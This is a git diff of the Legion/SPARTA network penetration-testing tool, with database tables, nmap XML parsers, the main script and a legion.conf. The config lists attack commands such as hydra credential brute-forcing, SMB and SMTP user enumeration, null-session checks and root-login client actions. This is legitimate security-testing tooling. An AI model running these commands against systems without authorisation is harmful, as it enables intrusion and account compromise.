This class holds various info about an nmap scan +class nmap_session(Base): + __tablename__ = 'nmap_session' + filename=Column(String, primary_key=True) + start_time=Column(String) + finish_time=Column(String) + nmap_version=Column(String) + scan_args=Column(String) + total_hosts=Column(String) + up_hosts=Column(String) + down_hosts=Column(String) + + def __init__(self, filename, start_time, finish_time, nmap_version='', scan_args='', total_hosts='0', up_hosts='0', down_hosts='0'): + self.filename=filename + self.start_time=start_time + self.finish_time=finish_time + self.nmap_version=nmap_version + self.scan_args=scan_args + self.total_hosts=total_hosts + self.up_hosts=up_hosts + self.down_hosts=down_hosts + + +class nmap_os(Base): + __tablename__ = 'nmap_os' + name=Column(String, primary_key=True) + family=Column(String) + generation=Column(String) + os_type=Column(String) + vendor=Column(String) + accuracy=Column(String) + host=Column(String, ForeignKey('nmap_host.hostname')) + + def __init__(self, name, family, generation, os_type, vendor, accuracy, hostId): + self.name=name + self.family=family + self.generation=generation + self.os_type=os_type + self.vendor=vendor + self.accuracy=accuracy + self.host=hostId + +class nmap_port(Base): + __tablename__ = 'nmap_port' + port_id=Column(String, primary_key=True) + protocol=Column(String) + state=Column(String) + host=Column(String, ForeignKey('nmap_host.hostname')) + service=Column(String, ForeignKey('nmap_service.name')) + script=Column(String, ForeignKey('nmap_script.script_id')) + + def __init__(self, port_id, protocol, state, host, service=''): + self.port_id=port_id + self.protocol=protocol + self.state=state + self.host=host + self.service=service + +class nmap_service(Base): + __tablename__ = 'nmap_service' + name=Column(String, primary_key=True) + product=Column(String) + version=Column(String) + extrainfo=Column(String) + fingerprint=Column(String) + port=Column(String, ForeignKey('nmap_port.port_id')) + + def __init__(self, name='', product='', version='', extrainfo='', fingerprint=''): + self.name=name + self.product=product + self.version=version + self.extrainfo=extrainfo + self.fingerprint=fingerprint + +class nmap_script(Base): + __tablename__ = 'nmap_script' + script_id=Column(String, primary_key=True) + output=Column(String) + port=Column(String, ForeignKey('nmap_port.port_id')) + host=Column(String, ForeignKey('nmap_host.hostname')) + + def __init__(self, script_id, output, portId, hostId): + self.script_id=script_id + self.output=unicode(output) + self.port=portId + self.host=hostId + +class nmap_host(Base): + __tablename__ = 'nmap_host' + checked=Column(String) + os_match=Column(String) + os_accuracy=Column(String) + ip=Column(String) + ipv4=Column(String) + ipv6=Column(String) + macaddr=Column(String) + status=Column(String) + hostname=Column(String, primary_key=True) + vendor=Column(String) + uptime=Column(String) + lastboot=Column(String) + distance=Column(String) + state=Column(String) + count=Column(String) + + # host relationships + os=Column(String, ForeignKey('nmap_os.name')) + ports=Column(String, ForeignKey('nmap_port.port_id')) + + def __init__(self, os_match='', os_accuracy='', ip='', ipv4='', ipv6='', macaddr='', status='', hostname='', vendor='', uptime='', lastboot='', distance='', state='', count=''): + self.checked='False' + self.os_match=os_match + self.os_accuracy=os_accuracy + self.ip=ip + self.ipv4=ipv4 + self.ipv6=ipv6 + self.macaddr=macaddr + self.status=status + self.hostname=hostname + self.vendor=vendor + self.uptime=uptime + self.lastboot=lastboot + self.distance=distance + self.state=state + self.count=count + + +class note(Base): + __tablename__ = 'note' + host=Column(String, ForeignKey('nmap_host.hostname')) + text=Column(String, primary_key=True) + + def __init__(self, hostId, text): + self.text=unicode(text) + self.host=hostId diff --git a/db/tables.py.orig b/db/tables.py.orig new file mode 100644 index 00000000..d0bac5c9 --- /dev/null +++ b/db/tables.py.orig @@ -0,0 +1,185 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +from elixir import metadata, Entity, Field +from elixir import Unicode, UnicodeText, Integer, String +from elixir import OneToMany, ManyToMany, ManyToOne, OneToOne + +# This class holds various info about an nmap scan +class nmap_session(Entity): + filename=Field(String) + start_time=Field(String) + finish_time=Field(String) + nmap_version=Field(String) + scan_args=Field(String) + total_hosts=Field(String) + up_hosts=Field(String) + down_hosts=Field(String) + + def __init__(self, filename, start_time, finish_time, nmap_version='', scan_args='', total_hosts='0', up_hosts='0', down_hosts='0'): + self.filename=filename + self.start_time=start_time + self.finish_time=finish_time + self.nmap_version=nmap_version + self.scan_args=scan_args + self.total_hosts=total_hosts + self.up_hosts=up_hosts + self.down_hosts=down_hosts + +class nmap_os(Entity): + name=Field(String) + family=Field(String) + generation=Field(String) + os_type=Field(String) + vendor=Field(String) + accuracy=Field(String) + host=ManyToOne('nmap_host') + + def __init__(self, name, family, generation, os_type, vendor, accuracy, hostId): + self.name=name + self.family=family + self.generation=generation + self.os_type=os_type + self.vendor=vendor + self.accuracy=accuracy + self.host=hostId + +class nmap_port(Entity): + port_id=Field(String) + protocol=Field(String) + state=Field(String) + host=ManyToOne('nmap_host') + service=ManyToOne('nmap_service') + script=ManyToMany('nmap_script') + + def __init__(self, port_id, protocol, state, host, service=''): + self.port_id=port_id + self.protocol=protocol + self.state=state + self.host=host + self.service=service + +class nmap_service(Entity): + name=Field(String) + product=Field(String) + version=Field(String) + extrainfo=Field(String) + fingerprint=Field(String) + port=OneToMany('nmap_port') + + def __init__(self, name='', product='', version='', extrainfo='', fingerprint=''): + self.name=name + self.product=product + self.version=version + self.extrainfo=extrainfo + self.fingerprint=fingerprint + +class nmap_script(Entity): + script_id=Field(String) + output=Field(Unicode) + port=ManyToOne('nmap_port') + host=ManyToOne('nmap_host') + + def __init__(self, script_id, output, portId, hostId): + self.script_id=script_id + self.output=unicode(output) + self.port=portId + self.host=hostId + +class nmap_host(Entity): + + # host attributes + checked=Field(String) + os_match=Field(String) + os_accuracy=Field(String) + ip=Field(String) + ipv4=Field(String) + ipv6=Field(String) + macaddr=Field(String) + status=Field(String) + hostname=Field(String) + vendor=Field(String) + uptime=Field(String) + lastboot=Field(String) + distance=Field(String) + state=Field(String) + count=Field(String) + + # host relationships + os=ManyToMany('nmap_os') + ports=ManyToMany('nmap_port') + + def __init__(self, os_match='', os_accuracy='', ip='', ipv4='', ipv6='', macaddr='', status='', hostname='', vendor='', uptime='', lastboot='', distance='', state='', count=''): + self.checked='False' + self.os_match=os_match + self.os_accuracy=os_accuracy + self.ip=ip + self.ipv4=ipv4 + self.ipv6=ipv6 + self.macaddr=macaddr + self.status=status + self.hostname=hostname + self.vendor=vendor + self.uptime=uptime + self.lastboot=lastboot + self.distance=distance + self.state=state + self.count=count + +# this class represents the DB table that will hold information about a process +class process(Entity): + display=Field(String) + pid=Field(String) + name=Field(String) + tabtitle=Field(String) + hostip=Field(String) + port=Field(String) + protocol=Field(String) + command=Field(String) + starttime=Field(String) + endtime=Field(String) + outputfile=Field(String) + output=OneToOne('process_output', inverse='process') + status=Field(String) + closed=Field(String) + + def __init__(self, pid, name, tabtitle, hostip, port, protocol, command, starttime, endtime, outputfile, status, processOutputId): + self.display='True' + self.pid=pid + self.name=name + self.tabtitle=tabtitle + self.hostip=hostip + self.port=port + self.protocol=protocol + self.command=command + self.starttime=starttime + self.endtime=endtime + self.outputfile=outputfile + self.output=processOutputId + self.status=status + self.closed='False' + +class process_output(Entity): + output=Field(Unicode) + process=ManyToOne('process') + + def __init__(self): + self.output=unicode('') + +class note(Entity): + host=ManyToOne('nmap_host') + text=Field(Unicode) + + def __init__(self, hostId, text): + self.text=unicode(text) + self.host=hostId diff --git a/images/advanced.png b/images/advanced.png new file mode 100644 index 00000000..6e775dbf Binary files /dev/null and b/images/advanced.png differ diff --git a/images/browser-big.jpg b/images/browser-big.jpg new file mode 100644 index 00000000..3d8ca8c1 Binary files /dev/null and b/images/browser-big.jpg differ diff --git a/images/cisco-big.jpg b/images/cisco-big.jpg new file mode 100644 index 00000000..5479e65f Binary files /dev/null and b/images/cisco-big.jpg differ diff --git a/images/cisco-icon.png b/images/cisco-icon.png new file mode 100644 index 00000000..806c46ac Binary files /dev/null and b/images/cisco-icon.png differ diff --git a/images/closed.gif b/images/closed.gif new file mode 100644 index 00000000..e7af476c Binary files /dev/null and b/images/closed.gif differ diff --git a/images/closetab-hover.png b/images/closetab-hover.png new file mode 100644 index 00000000..affb7201 Binary files /dev/null and b/images/closetab-hover.png differ diff --git a/images/closetab-press.png b/images/closetab-press.png new file mode 100644 index 00000000..2d897211 Binary files /dev/null and b/images/closetab-press.png differ diff --git a/images/closetab-small.png b/images/closetab-small.png new file mode 100644 index 00000000..36dba35c Binary files /dev/null and b/images/closetab-small.png differ diff --git a/images/closetab.png b/images/closetab.png new file mode 100644 index 00000000..1d658996 Binary files /dev/null and b/images/closetab.png differ diff --git a/images/filtered.gif b/images/filtered.gif new file mode 100644 index 00000000..aee5caeb Binary files /dev/null and b/images/filtered.gif differ diff --git a/images/finished.gif b/images/finished.gif new file mode 100644 index 00000000..8757111f Binary files /dev/null and b/images/finished.gif differ diff --git a/images/finished.png b/images/finished.png new file mode 100644 index 00000000..d9b0c45f Binary files /dev/null and b/images/finished.png differ diff --git a/images/hp-big.jpg b/images/hp-big.jpg new file mode 100644 index 00000000..a3ee7f78 Binary files /dev/null and b/images/hp-big.jpg differ diff --git a/images/hp-icon.png b/images/hp-icon.png new file mode 100644 index 00000000..86fb6d44 Binary files /dev/null and b/images/hp-icon.png differ diff --git a/images/killed.gif b/images/killed.gif new file mode 100644 index 00000000..b0c367b1 Binary files /dev/null and b/images/killed.gif differ diff --git a/images/killed.png b/images/killed.png new file mode 100644 index 00000000..0cc9920e Binary files /dev/null and b/images/killed.png differ diff --git a/images/linux-icon.png b/images/linux-icon.png new file mode 100644 index 00000000..ff634188 Binary files /dev/null and b/images/linux-icon.png differ diff --git a/images/open.gif b/images/open.gif new file mode 100644 index 00000000..3b758fbc Binary files /dev/null and b/images/open.gif differ diff --git a/images/question-icon.png b/images/question-icon.png new file mode 100644 index 00000000..75ebfc92 Binary files /dev/null and b/images/question-icon.png differ diff --git a/images/running.gif b/images/running.gif new file mode 100644 index 00000000..8fc37154 Binary files /dev/null and b/images/running.gif differ diff --git a/images/screenshot-big.jpg b/images/screenshot-big.jpg new file mode 100644 index 00000000..35d8f700 Binary files /dev/null and b/images/screenshot-big.jpg differ diff --git a/images/search.png b/images/search.png new file mode 100644 index 00000000..2be35d42 Binary files /dev/null and b/images/search.png differ diff --git a/images/solaris-icon-big.png b/images/solaris-icon-big.png new file mode 100644 index 00000000..8819e122 Binary files /dev/null and b/images/solaris-icon-big.png differ diff --git a/images/solaris-icon.png b/images/solaris-icon.png new file mode 100644 index 00000000..3a6237e4 Binary files /dev/null and b/images/solaris-icon.png differ diff --git a/images/vmware-big.jpg b/images/vmware-big.jpg new file mode 100644 index 00000000..08eba2f0 Binary files /dev/null and b/images/vmware-big.jpg differ diff --git a/images/vxworks-icon-big.png b/images/vxworks-icon-big.png new file mode 100644 index 00000000..574f88cb Binary files /dev/null and b/images/vxworks-icon-big.png differ diff --git a/images/vxworks-icon.png b/images/vxworks-icon.png new file mode 100644 index 00000000..140984cd Binary files /dev/null and b/images/vxworks-icon.png differ diff --git a/images/waiting.gif b/images/waiting.gif new file mode 100644 index 00000000..d91b8e35 Binary files /dev/null and b/images/waiting.gif differ diff --git a/images/windows-icon.png b/images/windows-icon.png new file mode 100644 index 00000000..f8124bfe Binary files /dev/null and b/images/windows-icon.png differ diff --git a/legion.conf b/legion.conf new file mode 100644 index 00000000..371de252 --- /dev/null +++ b/legion.conf @@ -0,0 +1,112 @@ +[GeneralSettings] +default-terminal=gnome-terminal +tool-output-black-background=False +screenshooter-timeout=15000 +web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" +enable-scheduler=True +enable-scheduler-on-import=False +max-fast-processes=10 +max-slow-processes=10 + +[BruteSettings] +store-cleartext-passwords-on-exit=True +username-wordlist-path=/usr/share/wordlists/ +password-wordlist-path=/usr/share/wordlists/ +default-username=root +default-password=password +services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" +no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" +no-password-services="oracle-sid,rsh,smtp-enum" + +[StagedNmapSettings] +stage1-ports="T:80,443" +stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" +stage3-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" +stage4-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" +stage5-ports=T:30000-65535 + +[ToolSettings] +nmap-path=/sbin/nmap +hydra-path=/usr/bin/hydra +cutycapt-path=/usr/bin/cutycapt +texteditor-path=/usr/bin/leafpad + +[HostActions] +nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" +nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v + +[PortActions] +banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", +nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], +nikto=Run nikto, nikto -o \"[OUTPUT].txt\" -p [PORT] -h [IP], "http,https,ssl,soap,http-proxy,http-alt" +dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" +webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" +whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=\"[OUTPUT].txt\"", "http,https,ssl,soap,http-proxy,http-alt" +samrdump=Run samrdump, python /usr/share/doc/python-impacket/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" +nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns +smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" +enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" +polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" +smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" +smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap +snmpcheck=Run snmpcheck, snmp-check -t [IP], "snmp,snmptrap" +rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind +rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server +showmount=Show nfs shares, showmount -e [IP], nfs +x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP], X11 +sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl" +sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp" +rwho=Run rwho, rwho -a [IP], who +finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger +smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp +mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s +mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql +oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns +postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql +snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" +snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" +oracle-version=Get version, "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", oracle-tns +oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns + +[PortTerminalActions] +netcat=Open with netcat, nc -v [IP] [PORT], +telnet=Open with telnet, telnet [IP] [PORT], +ftp=Open with ftp client, ftp [IP] [PORT], ftp +mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql +mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" +ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh +psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres +rdesktop=Open with rdesktop, rdesktop [IP]:[PORT], ms-wbt-server +rpcclient=Open with rpcclient (NULL session), rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" +vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc +xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp +rlogin=Open with rlogin, rlogin -i root -p [PORT] [IP], login +rsh=Open with rsh, rsh -l root [IP], shell + +[SchedulerSettings] +nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp +screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp +smbenum=microsoft-ds, tcp +snmpcheck=snmp, udp +x11screen=X11, tcp +snmp-default=snmp, udp +smtp-enum-vrfy=smtp, tcp +mysql-default=mysql, tcp +mssql-default=ms-sql-s, tcp +ftp-default=ftp, tcp +postgres-default=postgresql, tcp +oracle-default=oracle-tns, tcp diff --git a/legion.py b/legion.py new file mode 100644 index 00000000..28b7f24e --- /dev/null +++ b/legion.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2018 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +# check for dependencies first (make sure all non-standard dependencies are checked for here) +try: + from sqlalchemy.orm.scoping import ScopedSession as scoped_session + #import elixir +except ImportError as e: + print("[-] Import failed. SQL Alchemy library not found") + exit(1) + +try: + from PyQt4 import QtGui, QtCore +except ImportError as e: + print("[-] Import failed. PyQt4 library not found") + print(e) + exit(1) + +try: + from PyQt4 import QtWebKit +except ImportError as e: + try: + from PySide import QtWebKit + except ImportError: + print("[-] Import failed. QtWebKit library not found") + exit(1) + +from app.logic import * +from ui.gui import * +from ui.view import * +from controller.controller import * + +# this class is used to catch events such as arrow key presses or close window (X) +class MyEventFilter(QObject): + + def eventFilter(self, receiver, event): + # catch up/down arrow key presses in hoststable + if(event.type() == QEvent.KeyPress and (receiver == view.ui.HostsTableView or receiver == view.ui.ServiceNamesTableView or receiver == view.ui.ToolsTableView or receiver == view.ui.ToolHostsTableView or receiver == view.ui.ScriptsTableView or receiver == view.ui.ServicesTableView or receiver == view.settingsWidget.toolForHostsTableWidget or receiver == view.settingsWidget.toolForServiceTableWidget or receiver == view.settingsWidget.toolForTerminalTableWidget)): + key = event.key() + if not receiver.selectionModel().selectedRows(): + return True + index = receiver.selectionModel().selectedRows()[0].row() + + if key == QtCore.Qt.Key_Down: + newindex = index + 1 + receiver.selectRow(newindex) + receiver.clicked.emit(receiver.selectionModel().selectedRows()[0]) + + elif key == QtCore.Qt.Key_Up: + newindex = index - 1 + receiver.selectRow(newindex) + receiver.clicked.emit(receiver.selectionModel().selectedRows()[0]) + + elif QtGui.QApplication.keyboardModifiers() == QtCore.Qt.ControlModifier and key == QtCore.Qt.Key_C: + selected = receiver.selectionModel().currentIndex() + clipboard = QtGui.QApplication.clipboard() + clipboard.setText(selected.data().toString()) + + return True + + elif(event.type() == QEvent.Close and receiver == MainWindow): + event.ignore() + view.appExit() + return True + + else: + return super(MyEventFilter,self).eventFilter(receiver, event) # normal event processing + +if __name__ == "__main__": + + app = QtGui.QApplication(sys.argv) + myFilter = MyEventFilter() # to capture events + app.installEventFilter(myFilter) + app.setWindowIcon(QIcon('./images/icons/logo.png')) + + MainWindow = QtGui.QMainWindow() + ui = Ui_MainWindow() + ui.setupUi(MainWindow) + + try: + qss_file = open('./ui/sparta.qss').read() + except IOError as e: + print("[-] The sparta.qss file is missing. Your installation seems to be corrupted. Try downloading the latest version.") + exit(0) + + MainWindow.setStyleSheet(qss_file) + + logic = Logic() # Model prep (logic, db and models) + view = View(ui, MainWindow) # View prep (gui) + controller = Controller(view, logic) # Controller prep (communication between model and view) + + #MainWindow.show() + sys.exit(app.exec_()) diff --git a/parsers/Host.py b/parsers/Host.py new file mode 100644 index 00000000..4280ce3f --- /dev/null +++ b/parsers/Host.py @@ -0,0 +1,150 @@ +#!/usr/bin/python + +__author__ = 'yunshu(wustyunshu@hotmail.com)' +__version__= '0.2' +__modified_by = 'ketchup' + +import sys +import pprint +import parsers.Service as Service +import parsers.Script as Script +import parsers.OS as OS +import parsers.Port as Port +import xml.dom.minidom + +class Host: + ipv4 = '' + ipv6 = '' + macaddr = '' + status = 'none' + hostname = '' + vendor = '' + uptime = '' + lastboot = '' + distance = 0 + state = '' + count = '' + + def __init__( self, HostNode ): + self.host_node = HostNode + self.status = HostNode.getElementsByTagName('status')[0].getAttribute('state') + for e in HostNode.getElementsByTagName('address'): + if e.getAttribute('addrtype') == 'ipv4': + self.ipv4 = e.getAttribute('addr') + elif e.getAttribute('addrtype') == 'ipv6': + self.ipv6 = e.getAttribute('addr') + elif e.getAttribute('addrtype') == 'mac': + self.macaddr = e.getAttribute('addr') + self.vendor = e.getAttribute('vendor') + #self.ip = HostNode.getElementsByTagName('address')[0].getAttribute('addr'); + self.ip = self.ipv4 # for compatibility with the original library + if len(HostNode.getElementsByTagName('hostname')) > 0: + self.hostname = HostNode.getElementsByTagName('hostname')[0].getAttribute('name') + if len(HostNode.getElementsByTagName('uptime')) > 0: + self.uptime = HostNode.getElementsByTagName('uptime')[0].getAttribute('seconds') + self.lastboot = HostNode.getElementsByTagName('uptime')[0].getAttribute('lastboot') + if len(HostNode.getElementsByTagName('distance')) > 0: + self.distance = int(HostNode.getElementsByTagName('distance')[0].getAttribute('value')) + if len(HostNode.getElementsByTagName('extraports')) > 0: + self.state = HostNode.getElementsByTagName('extraports')[0].getAttribute('state') + self.count = HostNode.getElementsByTagName('extraports')[0].getAttribute('count') + + def get_OS(self): + oss = [] + + for OS_node in self.host_node.getElementsByTagName('osclass'): + os = OS.OS(OS_node) + oss.append(os) + + for OS_node in self.host_node.getElementsByTagName('osmatch'): + os = OS.OS(OS_node) + oss.append(os) + + return oss + + def all_ports( self ): + + ports = [ ] + + for port_node in self.host_node.getElementsByTagName('port'): + p = Port.Port(port_node) + ports.append(p) + + return ports + + def get_ports( self, protocol, state ): + '''get a list of ports which is in the special state''' + + open_ports = [ ] + + for port_node in self.host_node.getElementsByTagName('port'): + if port_node.getAttribute('protocol') == protocol and port_node.getElementsByTagName('state')[0].getAttribute('state') == state: + open_ports.append( port_node.getAttribute('portid') ) + + return open_ports + + def get_scripts( self ): + + scripts = [ ] + + for script_node in self.host_node.getElementsByTagName('script'): + scr = Script.Script(script_node) + scripts.append(scr) + + return scripts + + def get_hostscripts( self ): + + scripts = [ ] + for hostscript_node in self.host_node.getElementsByTagName('hostscript'): + for script_node in hostscript_node.getElementsByTagName('script'): + scr = Script.Script(script_node) + scripts.append(scr) + + return scripts + + def get_service( self, protocol, port ): + '''return a Service object''' + + for port_node in self.host_node.getElementsByTagName('port'): + if port_node.getAttribute('protocol') == protocol and port_node.getAttribute('portid') == port: + if (len(port_node.getElementsByTagName('service'))) > 0: + service_node = port_node.getElementsByTagName('service')[0] + service = Service.Service( service_node ) + return service + return None + +if __name__ == '__main__': + + dom = xml.dom.minidom.parse('/tmp/test_pwn01.xml') + host_nodes = dom.getElementsByTagName('host') + + if len(host_nodes) == 0: + sys.exit( ) + + host_node = dom.getElementsByTagName('host')[0] + + h = Host( host_node ) + print('host status: ' + h.status) + print('host ip: ' + h.ip) + + for port in h.get_ports( 'tcp', 'open' ): + print(port + " is open") + + print("script output:") + for scr in h.get_scripts(): + print("script id:" + scr.scriptId) + print("Output:") + print(scr.output) + + print("service of tcp port 80:") + s = h.get_service( 'tcp', '80' ) + if s == None: + print("\tno service") + + else: + print("\t" + s.name) + print("\t" + s.product) + print("\t" + s.version) + print("\t" + s.extrainfo) + print("\t" + s.fingerprint) diff --git a/parsers/OS.py b/parsers/OS.py new file mode 100644 index 00000000..03537684 --- /dev/null +++ b/parsers/OS.py @@ -0,0 +1,50 @@ +#!/usr/bin/python + +__author__ = 'ketchup' +__version__= '0.1' +__modified_by = 'ketchup' + +import sys +import xml.dom.minidom + +class OS: + name = '' + family = '' + generation = '' + os_type = '' + vendor = '' + accuracy = 0 + + def __init__(self, OSNode): + if not (OSNode is None): + self.name = OSNode.getAttribute('name') + self.family = OSNode.getAttribute('osfamily') + self.generation = OSNode.getAttribute('osgen') + self.os_type = OSNode.getAttribute('type') + self.vendor = OSNode.getAttribute('vendor') + self.accuracy = OSNode.getAttribute('accuracy') + +if __name__ == '__main__': + + dom = xml.dom.minidom.parse('test.xml') + + osclass = dom.getElementsByTagName('osclass')[0] + + osmatch = dom.getElementsByTagName('osmatch')[0] + + + os = OS(osclass) + print(os.name) + print(os.family) + print(os.generation) + print(os.os_type) + print(os.vendor) + print(str(os.accuracy)) + + os = OS(osmatch) + print(os.name) + print(os.family) + print(os.generation) + print(os.os_type) + print(os.vendor) + print(str(os.accuracy)) diff --git a/parsers/Parser.py b/parsers/Parser.py new file mode 100644 index 00000000..ddf63d90 --- /dev/null +++ b/parsers/Parser.py @@ -0,0 +1,148 @@ +#!/usr/bin/python + +'''this module used to parse nmap xml report''' +__author__ = 'yunshu(wustyunshu@hotmail.com)' +__version__= '0.2' +__modified_by = 'ketchup' +__modified_by = 'SECFORCE' + +import sys +import pprint +import logging +import parsers.Session as Session +import parsers.Host as Host +import parsers.Script as Script +import xml.dom.minidom +from six import u as unicode + +class Parser: + + '''Parser class, parse a xml format nmap report''' + def __init__( self, xml_input ): + '''constructor function, need a xml file name as the argument''' + try: + self.__dom = xml.dom.minidom.parse(xml_input) + self.__session = None + self.__hosts = { } + for host_node in self.__dom.getElementsByTagName('host'): + __host = Host.Host(host_node) 